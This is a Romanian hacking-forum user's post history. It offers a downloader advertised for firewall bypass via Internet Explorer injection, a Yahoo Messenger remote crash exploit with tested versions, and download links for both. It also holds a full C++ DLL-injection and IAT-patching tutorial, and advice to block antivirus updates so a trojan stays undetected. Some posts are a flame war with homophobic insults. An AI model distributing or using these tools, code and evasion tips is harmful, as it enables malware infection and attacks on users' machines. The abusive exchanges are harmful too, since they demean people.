Jump to content

SlicK

Active Members
  • Posts

    350
  • Joined

  • Last visited

  • Days Won

    5

Everything posted by SlicK

  1. Nemessis special edition Download: http://rootb0x.com/pvtd21.rar Cu mici modificari la iconite downloaderul are 15.0 KB necompresat si 6.74 KB compresat
  2. Mici probleme cu hostingul, acum merge.
  3. Logic ca si executa, ca doar nu face firewall bypass ca sa downloadeze melodii
  4. Features: Firewall bypass prin injectare in Internet explorer, executabil necompresat de 16.0 KB si compresat de 7.72 KB Download: http://rootb0x.com/pvtd20.rar
  5. IAT Patching Tutorial by SlicK [slick(at)rstcenter.com] Daca v-ati mai interesat de API hooking inainte probabil ati auzit de IAT si IAT Patching, in acest tutorial voi incerca sa explic si sa imlementez aceasta tehnica nu foarte complexa dar foarte eficienta. Bazele acestei tehnici se bazeaza pe faptul ca execulabilele si dll'urile pe 32 de biti sunt contruite pe formatul PE (Portable executable). Aceste fisiere contin cateva parti logice numite sectiuni, fiecare sectiune avand un continut specific. Sectiunea de interes pentru IAT Patching se numeste ".idata", aceasta contine o tabela speciala numita "Import Address Table"(IAT) esentiala pentru toate fisierele care folosesc librarii dinamice (dll'uri). La rularea unui executabil, dynamic loaderul(parte din kernel) mapeaza fisierul in memorie conform headerului PE, loaderul "priveste" in apoi IAT pentru a vedea daca fisierul foloseste librarii aditionale, daca da le mapeaza si pe acestea in memorie. Loaderul cauta apoi toate functiile importate de catre fisier dupa nume sau dupa ordinal in fiecare librarie si le scrie offestul in IAT. Practic un executabil nu are nevoie sa stie offsetul global pentru fiecare functie importata in parte stiind doar adresa din IAT unde loaderul scrie acel offset, Deci de fiecare data cand fisierul apeleaza o functie dintr-o librarie acesta va apela adresa din IAT unde loaderul a scris adresa acelei functii. IAT Patchingul reprezinta modificarea acelui offeset in IAT cu un altul reprezentand o functie personala care practic va intercepta fiecare call catre acel API importat putand returna un alt rezultat. Destul cu teoria, sa trecem la implementare. Prima conditie pentru IAT Patching este ca functia interceptoare trebuie sa fie in spatiua de memorie al procesului care o cheama, pentru aceasta voi injecta un dll in acel proces care va patchui deasemenea si IAT'ul. Acesta va citi headerul PE al fisierului aflat in memorie iterand prin toate sectiunile pana cand va gasi sectiunea .idata (adresa de inceput si marimea) apoi va citi cate 4 octeti(marimea unui offset) odata pana cand va gasi adresa functiei care va fi patchuita rescriind aceasta adresa cu adresa functiei interceptoare continuta in dll. O sa sar peste partea cu injectarea unui dll in alt proces pentru ca exista sufient de multe tutoriale. In urmatorul exemplu de dll voi intercepta API'ul GetTickCount astfel incat sa returneze un alt rezultat.(compilat cu Dev-Cpp) ======= START iat.cpp ==== #include <windows.h> #define PEADDR 0x00400000 // inceputul headerului PE la 99% din executabile DWORD WINAPI FakeGetTickCount(void); // functia interceptoare DWORD APIOffset(LPSTR pszLibName,LPSTR pszFunkName); // returneaza adresa globala pentru un API DWORD WINAPI Main(LPVOID); // multitrheading extern "C" BOOL WINAPI DllMain(HINSTANCE hInst,DWORD reason,LPVOID reserved) // entry pointul in dll { if(reason==DLL_PROCESS_ATTACH) { MessageBox(NULL,"Attached to process","Injected dll",MB_OK); // optional CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)&Main,NULL,0,NULL); // cream threadul } return(TRUE); } DWORD WINAPI FakeGetTickCount(void) //functia interceptoare trebuie sa fie definita la fel ca functia interceptata (DWORD WINAPI GetTickCount(void)) { return(1000); // returnam mereu acelasi rezultat } DWORD WINAPI Main(LPVOID) { DWORD dwSearch=APIOffset("kernel32","GetTickCount"); // adresa functiei interceptate DWORD dwReplace=(DWORD)*FakeGetTickCount; // adresa functiei interceptoare DWORD dwPid=GetCurrentProcessId(); // Process id'ul procesului curent HANDLE hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwPid); if(hProcess!=NULL) { IMAGE_DOS_HEADER image_dos_header; IMAGE_NT_HEADERS image_nt_headers; IMAGE_SECTION_HEADER image_section_header[20]; if(ReadProcessMemory(hProcess,(LPVOID)PEADDR,&image_dos_header,sizeof(IMAGE_DOS_HEADER),NULL)) // citim headerul DOS { if(ReadProcessMemory(hProcess,(LPVOID)(PEADDR+image_dos_header.e_lfanew),&image_nt_headers,sizeof(IMAGE_NT_HEADERS),NULL)) // citim headerul NT { DWORD dwRO_first_section=image_dos_header.e_lfanew+sizeof(IMAGE_NT_HEADERS); DWORD SectionNum=image_nt_headers.FileHeader.NumberOfSections; if(ReadProcessMemory(hProcess,(LPVOID)(PEADDR+dwRO_first_section),&image_section_header,SectionNum*sizeof(IMAGE_SECTION_HEADER),NULL)) // citim headerul sectiunilor { for(int i=0;i<SectionNum;i++) // iteram prin toate sectiunile { if(!strcmp((char *)image_section_header[i].Name,".idata")) // cand gasim sectiunea ".idata" { DWORD dwIDAddr=PEADDR+image_section_header[i].VirtualAddress; // inceputul sectiunii DWORD dwIDSize=image_section_header[i].Misc.VirtualSize; // dimensiunea sectiunii DWORD dwOldProtect; if(VirtualProtect((LPVOID)dwIDAddr,dwIDSize,PAGE_READWRITE,&dwOldProtect)) // ne asiguram ca avem permisiuni de citire si scriere { DWORD dwVAddr=0; BOOL bFound=FALSE; for(int i=0;i<dwIDSize;i+=4) // citim cate 4 octeti odata pana gasim adresa functie interceptate { if(ReadProcessMemory(hProcess,(LPVOID)dwIDAddr,&dwVAddr,4,NULL)) { if(dwVAddr==dwSearch) { bFound=TRUE; break; } } dwIDAddr+=4; } if(bFound==TRUE) { if(WriteProcessMemory(hProcess,(LPVOID)dwIDAddr,&dwReplace,4,NULL)) // inlocuim adresa functiei interceptate cu adresa functiei interceptoare { MessageBox(NULL,"IAT Patched","Injected dll",MB_OK); //optional } } } } } } } } CloseHandle(hProcess); } ExitThread(0); } DWORD APIOffset(LPSTR pszLibName,LPSTR pszApiName) { DWORD dwRet=0; HMODULE hmLib=LoadLibrary(pszLibName); if(hmLib!=NULL) { FARPROC fpApi=GetProcAddress(hmLib,pszApiName); if(fpApi!=NULL) { dwRet=(DWORD)fpApi; } FreeLibrary(hmLib); } return(dwRet); } ========== END ========== Am atasat si o arhiva care contine sursa dll'ului,dll'ul compilat,un mic program de test si un program pentru injectarea dll'ului Download: http://rootb0x.com/0X0/iatp.rar Cam atat cu acest tutorial, sper ca nu a fost greu de citit si inteles.
  6. Ai pm cu parola si patch-ul...
  7. Notiuni de baza pentru incepatori Down: http://rootb0x.com/gh1.rar
  8. V2. Am mai rezolvat cateva buguri si am imbunatatit metoda de BOF, enjoy Download: http://www.rootb0x.com/0X0/ym78bug.rar
  9. Yahoo Messenger remote BOF Autor: SlicK Data: 29 Aug 2007 Website: http://www.rstcenter.com Email: slick@rstcenter.com Atunci cand este initiat un transfer de fisiere pachetul trimis va contine un cod unic care identifica respectivul transfer. Daca transferul este oprit de la orice capat si victima inchide fereastra respectiva un nou pachet trimis cu acelasi cod unic va cauza crashuirea procesului "yahoomessenger.exe" al victimei. Victima TREBUIE sa inchida fereastra cu transferul altfel procesul nu va crashui. Exploit: http://www.rootb0x.com/0X0/ym78bug.rar Testat pe: 7.0.0.437 (WinXP SP2) 7.5.0.647 (WinXP SP2) 8.1.0.209 (WinXP SP2) 8.1.0.249 (WinXP SP2) 8.1.0.401 (WinXP SP2) 8.1.0.402 (WinXP SP2) 8.1.0.415 (WinXP SP2) 8.1.0.419 (WinXP SP2) Pe versiuni mai mici de 7 nu functioneaza Greets to vladiii&amprenta EDIT: Am rezolvat problemele de logare. Linkul de download este acelasi
  10. Frustrarea nu era legata de sex ma ca numai de sex nu am avut eu chef azi Stii si tu vorba aia: cel mai destept cedeaza primul da m-am distrat si eu. Daca vrei tu ne mai certam dar sa ne gasim un motiv mai solid ca pe asta l-am epuizat. Oricum se facea tarziu si nu iti lasam satisfactia sa ai tu ultimul post pana maine PS: Corectie am spus "Peace" ceea ce lasa loc de interpretari
  11. Gata bai flama, m-am impacat cu gagica sunt happy acuma, nu mai am nimic cu nimeni. recunosc ca mai mult din plictiseala si de nervi am inceput discutia asta dar neah, a trecum mai usor ziua tu ai iarasi VIP, "no harm no foul"
  12. Asta s-a intamplat pentru ca interesul mea a evoluat, initial credeam ca nu are rost sa ma cert cu tine, apoi ai scos cateva fraze cat de cat inteligente si m-am gandit: hopa stai asa ca e mai mult de capu lui flama decat "gay","ungur" si "flame"... acum vad ca ai trecut iarasi la fraze fara inteles, pacat. oricum .."penibil si lamentabil"... ramane de vazut
  13. Ai ramas cumva fara inspiratie? Totusi inteligenta si maturitatea de care dai dovada ma intimideaza. Wow, aluzii la homosexualitate, ce surpriza din partea ta dar totusi nu am inteles ce ai vrut sa spui cu degetul ala, probabil are un rol mare in viata ta si a trebuit sa-l incluzi si pe el, sau poate l-ai lasat pe HexString sa-ti scrie rspunsul asta. Una peste alta m-ai dezamagit, credeam ca mi-am gasit adversar...
  14. Mea culpa cu rasismul, dar unde ai gasit tu "maghiarofob" si "vaginofob" in limba romana? Observatia mea despre "gay'ul ascuns in tine" nu are absolut nici o legatura cu glumele voastre, e doar o aluzie la faptul ca majoritatea persoanelor homofobe ascund o afinitate fata de persoanele de acelasi sex Am ipresia ca tu esti cam "off-topic" fata de ce scriu eu, nu m-am referit la numarul de posturi pe care le-ai facut la sectiunea OFF-TOPIC, ci la numarul de off-topicuri pe care le-ai facut la celelalte sectiuni, sper ca aceasta explicatie sa nu fie greu de inteles pentru tine.Cand vorbesti la persoana a treia cu "va rog", "sunteti" etc, te referi cu respect la persoana mea? sau in general la toti userii forumului in afara te tine. Observ ca pana acum chiar tu esti cel care latra degeaba si deja te-ai cam enervat din partea mea poti sa te prefaci in continuare ca nu-ti pasa si totusi sa reusesti sa-ti aduci aminte cate ceva la fiecare 5 minute ca sa mai faci un post inutil, Peace
  15. Si uite cum adevaratul flama iese la suprafata. Pana la urma tot nu ai mai reusit sa legi 2 fraze fara sa folosesti injuraturi, ti s-a terminat vocabularul sau te-ai enervat prea rau? M-am luat de tine pentru ca rabdarea mea a ajuns la capat,offtopicurile s-au inmultit si deja deveneai deranjant iar singurul motiv pentru care nu ti-am dat ban este ca tu erai singurul mascarici care impiedica forumul sa devina plictisitor. Vad ca te-ai si interesat de mine, cumva gay'ul ascuns in tine incepe sa se manifeste? sau esti doar curios? dar cine se ascunde sub stelutele alea? poti sa-i transmiti ca daca are ceva de adaugat topicul e inca deschis. In plus nuu cred ca un homofob rasist ma poate numi pe mine comunist.
  16. Vad ca intre timp te-ai mai gandit la o replica si ti-ai inchipuit ca ar trebui sa o cunosc. Parerea despre tine mi-am format-o cititind nenumaratele tale posturi elocvente dar chiar te rog sa incerci sa mi-o schimbi insa iti garantez ca cearta asta nu va dura la infinit din simplul motiv ca ma plictisesc destul de repede, mai ales de subiectele de minima importanta
  17. Avand in vedere ca ai cate doua raspunsuri in 5 minute concluzia mea este ca acorzi mai multa importanta acestei discutii decat mine si decat ai vrea sa lasi impresia. Probabil ti F5 apasat incercand sa-mi ghicesti urmatoarea replica si urmatorul tau raspuns. In cazul in care nu ti-ai dat seama timpul meu de reactie este direct proportional cu atentia acordata acestui topic iar tonul meu frustrat exista doar in imaginatia ta dar frustrarea iti apartine.
  18. Nu mai tine cronometrul in mana ca sa-mi masori timpul de raspuns pentru ca nu are rost pentru ca spre deosebire de tine eu chiar am o viata dincolo de monitor. Daca nu ai nici o parere despre mine atunci cum imi poti compara inteligenta cu a ta? nivelul meu de inteligenta nu are nici o legatura cu parerea ta despre mine iar nivelul tau de inteligenta nu are nici o legatura cu viteza cu care cauti in dictionar forma corecta a cuvintelor
  19. E curios cum unii oameni adauga injuraturi in conversatii ca sa suplineasca lipsa inteligentei sau ca sa para mai amenintatori.
  20. flama care e problema ta? ne-am dat toti seama ca esti un guru in tot ce tine de IT si iti permiti sa iei pe oricine peste picior dar mai las-o draq de treaba ca in jumatate din posturile tale vobesti de parca ai fi beat/drogat sau repetent in clasa a doua. Crezi ca daca ai nick'ul cu albastru iti poti permite sa vorbesti asa? Daca nu ai de gand sa porti o discutie matura sau constructiva ia-ti o bicicleta si arunca-ti calculatorul pe geam. Considera asta ca fiind al 15-lea avertisment si al 5-lea ban.
  21. M-am jucat putin cu ArtMoney si am gasit offseturile care contin numarul de gloante ramase in incarcator dupa ce le-am fixat am tras incontinuu fara sa mi se mai termine gloantele
  22. Hai sa-mi dau si eu putin cu parerea Din punctul meu de vedere ideea nu e sa omori antivirusul pentru ca asta ar alerta instantaneu utiliatorul de ceva suspicios. O idee mai buna ar fi sa impiedici antivirusul sa-si faca update. Astfel troianul ar ramane "nedetectat" cel putin pe acel pc fara a ridica suspiciuni.
×
×
  • Create New...